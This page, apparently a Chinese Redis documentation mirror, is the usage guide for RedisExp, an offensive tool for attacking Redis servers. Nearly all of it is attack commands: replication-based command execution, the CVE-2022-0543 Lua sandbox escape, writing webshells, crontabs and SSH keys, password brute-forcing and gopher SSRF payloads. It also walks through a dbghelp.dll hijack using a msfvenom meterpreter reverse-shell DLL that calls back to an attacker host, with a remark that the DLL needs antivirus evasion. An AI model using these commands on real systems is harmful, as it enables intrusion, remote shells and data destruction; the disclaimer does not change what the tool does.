Redis 中文文档 Redis 中文文档
指南
redis.io (opens new window)
指南
redis.io (opens new window)
  • 关于
    • Redis 开源治理
    • Redis 发布周期
    • Redis 赞助商
  • 入门
  • 数据类型
  • Redis Stack
  • 命令
  • 手册

Redis 漏洞利用工具


快捷使用:RedisExp

  1. ``` sh

  2. ██████╗ ███████╗██████╗ ██╗███████╗    ███████╗██╗  ██╗██████╗
  3. ██╔══██╗██╔════╝██╔══██╗██║██╔════╝    ██╔════╝╚██╗██╔╝██╔══██╗
  4. ██████╔╝█████╗  ██║  ██║██║███████╗    █████╗   ╚███╔╝ ██████╔╝
  5. ██╔══██╗██╔══╝  ██║  ██║██║╚════██║    ██╔══╝   ██╔██╗ ██╔═══╝
  6. ██║  ██║███████╗██████╔╝██║███████║    ███████╗██╔╝ ██╗██║
  7. ╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝    ╚══════╝╚═╝  ╚═╝╚═╝

  8. 2022/05/23 23:36:54 [+]  -h 靓仔查看下帮助吧
  9. Example:
  10. 主从复制命令执行:
  11. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec
  12. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console

  13. Linux:
  14. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.so
  15. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so

  16. 主从复制文件上传:
  17. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload

  18. 主动关闭主从复制:
  19. RedisExp.exe -rhost 192.168.211.131 -slaveof

  20. Lua沙盒绕过命令执行 CVE-2022-0543:
  21. RedisExp.exe -rhost 192.168.211.131 -lua -console

  22. 备份写 Webshell (Windows 中文路径要设置gbk, linux 中文路径不用设置):
  23. RedisExp.exe -rhost 192.168.211.131 -shell -gbk

  24. Linux 写计划任务:
  25. RedisExp.exe -rhost 192.168.211.131 -crontab

  26. Linux 写 SSH 公钥:
  27. RedisExp.exe -rhost 192.168.211.131 -ssh

  28. 爆破 Redis 密码:
  29. RedisExp.exe -rhost 192.168.211.131 -brute -pwdf ../pass.txt

  30. 执行 Redis 命令:
  31. RedisExp.exe -rhost 192.168.211.131 -cli

  32. 生成 gopher ssrf redis payload:

  33. RedisExp.exe -gf 1.txt -gip 127.0.0.1:6379 -gopher

  34. ```

  1. ``` sh
  2. cmd
  3. ├── exp.dll        默认导入的Windows Redis模块
  4. ├── exp.so         导入的Linux Redis模块
  5. ├── main.go        编译攻击主程序
  6. ├── pass.txt       爆破字典

  7. ```

声明


本工具仅用于个人安全研究学习。由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,工具作者不为此承担任何责任。

注意


主从复制会清空数据,主从复制会清空数据,主从复制会清空数据,请注意使用!请注意使用!请注意使用!

主从复制漏洞


命令执行


默认 windows 加载的是 exp.dll
默认是非交互式 shell

  1. ``` sh
  2. Windows:
  3. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec
  4. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console

  5. Linux:
  6. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.so
  7. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so

  8. ```


文件上传


  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload

  3. ```


Windows 劫持 dbghelp.dll


https://yanghaoi.github.io/2021/10/09/redis-lou-dong-li-yong/#toc-heading-22

1、使用 msf 生成 dll ,(cs 需要自己写一个调用 rundll32 .exe的dll,不能直接使用)

  1. ``` sh
  2. # 64 位

  3. msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.211.130 LPORT=5555 > 64.dll

  4. # 32 位
  5. msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=ip LPORT=端口 > reverse_32bit.dll

  6. ```

2、生成项目DLL后使用Koppeling项目中的Python3脚本来链接到转发DLL: https://github.com/monoxgas/Koppeling

  1. ``` sh
  2. python -m pip install pefile

  3. python .\PyClone.py 64.dll C:\windows\system32\dbghelp.dll -o dbghelp.dll

  4. ```

3、利用主从复制上传制作好的  dbghelp.dll

  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dbghelp.dll -lfile dbghelp.dll -upload

  3. ```

4、执行 bgsave 成功上线

  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.134 -cli

  3. bgsave

  4. ```

5、dll 需要免杀,好像不太稳定,自行在本地测试再利用。

RDB备份文件利用


写 Webshell


  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.131 -shell

  3. ```


Linux写计划任务


没搭建环境测试

  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.133 -crontab

  3. ```


Linux写SSH公钥


没搭建环境测试

  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.133 -ssh

  3. ```


Lua沙盒绕过命令执行 CVE-2022-0543


  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.130 -lua -console

  3. ```


爆破 Redis 密码


  1. ``` sh
  2. RedisExp.exe -rhost 192.168.211.131 -brute -pwdf pass.txt

  3. ```


生成 Gopher Payload


redis 未授权写 shell (1.txt)

  1. ``` sh
  2. flushall
  3. config set dir C:\phpstudy_pro\WWW
  4. config set dbfilename test.php
  5. set 'webshell' '<?php phpinfo();?>'
  6. save

  7. ```

  1. ``` sh
  2. RedisExp.exe -gf 1.txt -gip 127.0.0.1:6379 -gopher

  3. ```


参考


本工具基于大量优秀文章和工具才得以编写抄写完成,非常感谢这些无私的分享者!

https://github.com/zyylhn/redis_rce
https://github.com/0671/RabR
https://github.com/r35tart/RedisWriteFile
https://github.com/toalaska/redis_tool
https://yanghaoi.github.io/2021/10/09/redis-lou-dong-li-yong/
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
Last Updated: 2023-09-03 19:17:54